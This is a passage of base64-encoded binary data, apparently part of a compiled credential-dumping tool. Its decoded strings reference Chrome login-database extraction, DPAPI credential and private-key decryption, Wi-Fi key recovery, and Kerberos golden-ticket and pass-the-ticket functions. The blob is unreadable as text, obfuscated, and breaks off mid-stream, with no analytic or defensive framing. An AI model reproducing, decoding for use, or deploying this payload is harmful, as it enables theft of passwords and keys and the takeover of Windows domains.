CAAJQAuACoAUwAKAEQAYQB0AGUAcwAgADoAIAAAAAAAIAAtAD4AIAAAAAAAQwBvAG8AawBpAGUAOgAgACUALgAqAFMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAE4AZQBpAHQAaABlAHIAIAB0AGgAZQAgAHQAYQBiAGwAZQAgACcAbABvAGcAaQBuAHMAJwAgAG8AcgAgAHQAaABlACAAdABhAGIAbABlACAAJwBjAG8AbwBrAGkAZQBzACcAIABlAHgAaQBzAHQAIQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAG8AcABlAG4AXwB2ADIAOgAgACUAUwAgACgAJQBTACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBpAG4AaQB0AGkAYQBsAGkAegBlADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABJAG4AcAB1AHQAIAAnAEwAbwBnAGkAbgAgAEQAYQB0AGEAJwAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgAiACUAJQBsAG8AYwBhAGwAYQBwAHAAZABhAHQAYQAlACUAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAXABEAGUAZgBhAHUAbAB0AFwATABvAGcAaQBuACAARABhAHQAYQAiACkACgAAAHNlbGVjdCBjb3VudCgqKSBmcm9tIHNxbGl0ZV9tYXN0ZXIgd2hlcmUgdHlwZT0ndGFibGUnIGFuZCBuYW1lPT8AAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AcwB0AGUAcAA6ACAAJQBTAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AYgBpAG4AZABfAHQAZQB4AHQAOgAgACUAUwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQBfAGkAcwBUAGEAYgBsAGUARQB4AGkAcwB0ACAAOwAgAHMAcQBsAGkAdABlADMAXwBwAHIAZQBwAGEAcgBlAF8AdgAyADoAIAAlAFMACgAAAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABMAGUAZwBhAGMAeQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAKABzACkAOgAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAOgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZAAgADsAIABJAG4AcAB1AHQAIABDAFIARQBEACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAABwAG8AbABpAGMAeQAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAbwBsAGkAYwB5ACAASwBlAHkAcwA6AAoAAAAAACAAIABBAEUAUwAxADIAOAAgAGsAZQB5ADoAIAAAAAAAIAAgAEEARQBTADIANQA2ACAAawBlAHkAOgAgAAAAAAAgACAAPgAgAEEAdAB0AHIAaQBiAHUAdABlACAAJQB1ACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoAHAAbwBsAGkAYwB5ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABjAHIAZQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEkAbgBwAHUAdAAgAEMAcgBlAGQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AYwByAGUAZAA6AGYAaQBsAGUAKQAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFACAARQB4AHAAbwByAHQAIABmAGwAYQBnAHMAOgAKAAAAAABIajFkaVE2a3BVeDdWQzRtAAAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAcgBhAHcAXwBzAGkAZwBuAGEAdAB1AHIAZQAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBFAFgAQwBIAEEATgBHAEUAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAEUAWABDAEgAQQBOAEcARQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAHIAYQB3AF8AZQB4AGMAaABhAG4AZwBlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAASQBuAHAAdQB0ACAAQwBBAFAASQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAFAAcgBvAHAAZQByAHQAaQBlAHMAOgAKAAAANmpua2Q1SjNaZFFEdHJzdQAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAeFQ1clpXNXFWVmJydnB1QQAAAAByAGEAdwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAG4AZwAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAEkAbgBwAHUAdAAgAEMATgBHACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAbgBhAG0AZQAAAAAAUAByAG8AZgBpAGwAZQAgACcAJQBzACcACgAKAAAAAABTAFMASQBEAAAAAAAgACoAIABTAFMASQBEACAAAAAAAG4AYQBtAGUAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAaABlAHgAAABoAGUAeAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAD8ACgAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAAAAAAAgACoAIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AOgAgACUAcwAKAAAAAABlAG4AYwByAHkAcAB0AGkAbwBuAAAAAAAgACoAIABFAG4AYwByAHkAcAB0AGkAbwBuACAAIAAgACAAOgAgACUAcwAKAAAAAABrAGUAeQBNAGEAdABlAHIAaQBhAGwAAAAgACoAIABLAGUAeQAgAE0AYQB0AGUAcgBpAGEAbAAgACAAOgAgAAAAVwBFAFAAAAAoAGgAZQB4ACkAIAAAAAAAJQAuACoAUwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AGkAZgBpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AGkAZgBpACAAOwAgAEkAbgBwAHUAdAAgAFcAbABhAG4AIABYAE0ATAAgAHAAcgBvAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAE4AYQBtAGUAAAAAAEEAYwBjAGUAcwBzAFMAdAByAGkAbgBnAAAAAAAgACoAIABBAGMAYwBlAHMAcwBTAHQAcgBpAG4AZwAgACAAIAAgADoAIAAlAHMACgAAAAAAUwB1AGIAcwBjAHIAaQBiAGUAcgBJAEQAAAAAACAAKgAgAFMAdQBiAHMAYwByAGkAYgBlAHIASQBEACAAIAA6ACAAAAAlAC4AKgBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AHcAYQBuACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AHcAYQBuACAAOwAgAEkAbgBwAHUAdAAgAFcAdwBhAG4AIABYAE0ATAAgAHAAcgBvAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAEtlcmJlcm9zAAAAAHAAdAB0AAAAUABhAHMAcwAtAHQAaABlAC0AdABpAGMAawBlAHQAIABbAE4AVAAgADYAXQAAAAAAbABpAHMAdAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAABhAHMAawAAAEEAcwBrACAAbwByACAAZwBlAHQAIABUAEcAUwAgAHQAaQBjAGsAZQB0AHMAAAAAAHQAZwB0AAAAUgBlAHQAcgBpAGUAdgBlACAAYwB1AHIAcgBlAG4AdAAgAFQARwBUAAAAAABwAHUAcgBnAGUAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAGcAbwBsAGQAZQBuAAAAAABXAGkAbABsAHkAIABXAG8AbgBrAGEAIABmAGEAYwB0AG8AcgB5AAAASABhAHMAaAAgAHAAYQBzAHMAdwBvAHIAZAAgAHQAbwAgAGsAZQB5AHMAAABwAHQAYwAAAFAAYQBzAHMALQB0AGgAZQAtAGMAYwBhAGMAaABlACAAWwBOAFQANgBdAAAAYwBsAGkAcwB0AAAAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdABzACAAaQBuACAATQBJAFQALwBIAGUAaQBtAGQAYQBsAGwAIABjAGMAYQBjAGgAZQAAAGsAZQByAGIAZQByAG8AcwAAAAAASwBlAHIAYgBlAHIAbwBzACAAcABhAGMAawBhAGcAZQAgAG0AbwBkAHUAbABlAAAAKgAgAEQAaQByAGUAYwB0AG8AcgB5ADoAIAAnACUAcwAnAAoAAAAAACoALgBrAGkAcgBiAGkAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnADoAIAAAAE8ASwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAEwAcwBhAEMAYQBsAGwASwBlAHIAYgBlAHIAbwBzAFAAYQBjAGsAYQBnAGUAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAVABpAGMAawBlAHQAKABzACkAIABwAHUAcgBnAGUAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAaQBzACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEsAZQByAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAoACgAJACoAKgAgAFMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAGkAcwAgAE4AVQBMAEwAIQAgAEkAdAAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAIAAqACoACgAAAAAAbgBvACAAdABpAGMAawBlAHQAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAgADsAIAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAABrAGkAcgBiAGkAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAdABrAHQAAABuAG8AYwBhAGMAaABlAAAAdABhAHIAZwBlAHQAAAAAAHIAYwA0AAAAZABlAHMAAABhAGUAcwAyADUANgAAAAAAYQBlAHMAMQAyADgAAAAAAEEAcwBrAGkAbgBnACAAZgBvAHIAOgAgACUAdwBaAAoAAAAAACAAIAAgACoAIABUAGkAYwBrAGUAdAAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABUAHkAcABlACAAJgAgAGsAdgBuAG8AIABuAG8AdAAgAHIAZQBwAHIAZQBzAGUAbgB0AGEAdABpAHYAZQAgAGEAdAAgAHMAYwByAGUAZQBuAAoAAAAAAAAAAAAgACAAIAAqACAATgBvAEMAYQBjAGgAZQA6ACAAZQB4AHAAbwByAHQAZQBkACAAdABpAGMAawBlAHQAIABtAGEAeQAgAHYAYQByAHkAIAB3AGkAdABoACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABhAHQAIABzAGMAcgBlAGUAbgAKAAAACgAgACAAIAAqACAAVABLAFQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAKgAgAEsAaQBSAEIAaQAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgADoAIAAlAHMAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAAJwAlAHcAWgAnACAASwBlAHIAYgBlAHIAbwBzACAAbgBhAG0AZQAgAG4AbwB0ACAAZgBvAHUAbgBkACEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAALwB0AGEAcgBnAGUAdAAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAgACgAZQBnADoAIAAvAHQAYQByAGcAZQB0ADoAYwBpAGYAcwAvAHMAZQByAHYAZQByAC4AbABhAGIALgBsAG8AYwBhAGwAKQAKAAAAAAAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAAAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAJQAwADgAeAAtAG4AbwBuAGEAbQBlAC4AJQBzAAAAAAB0AGkAYwBrAGUAdAAuAGsAaQByAGIAaQAAAAAAdABpAGMAawBlAHQAAAAAAGEAZABtAGkAbgAAAHUAcwBlAHIAAAAAAGsAcgBiAHQAZwB0AAAAAABzAGUAcgB2AGkAYwBlAAAAaQBkAAAAAAByAG8AZABjAAAAAABnAHIAbwB1AHAAcwAAAAAAcwBpAGQAcwAAAAAAMAAAAHMAdABhAHIAdABvAGYAZgBzAGUAdAAAADUAMgA1ADYAMAAwADAAAABlAG4AZABpAG4AAAByAGUAbgBlAHcAbQBhAHgAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAgACgAJQBzACkACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAIAAtACAAJQBzAAoAAAAAAFMAZQByAHYAaQBjAGUAIAAgACAAOgAgACUAcwAKAAAAVABhAHIAZwBlAHQAIAAgACAAIAA6ACAAJQBzAAoAAABMAGkAZgBlAHQAaQBtAGUAIAAgADoAIAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAoARgBpAG4AYQBsACAAVABpAGMAawBlAHQAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAbABvAGMAYQB0AGUAIABDAHIAeQBwAHQAbwBTAHkAcwB0AGUAbQAgAGYAbwByACAARQBUAFkAUABFACAAJQB1ACAAKABlAHIAcgBvAHIAIAAwAHgAJQAwADgAeAApACAALQAgAEEARQBTACAAbwBuAGwAeQAgAGEAdgBhAGkAbABhAGIAbABlACAAbwBuACAATgBUADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGsAZQB5ACAAYQByAGcAdQBtAGUAbgB0ACAAKAAvAHIAYwA0ACAAbwByACAALwBhAGUAcwAxADIAOAAgAG8AcgAgAC8AYQBlAHMAMgA1ADYAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAARABvAG0AYQBpAG4AIABuAGEAbQBlACAAZABvAGUAcwAgAG4AbwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAG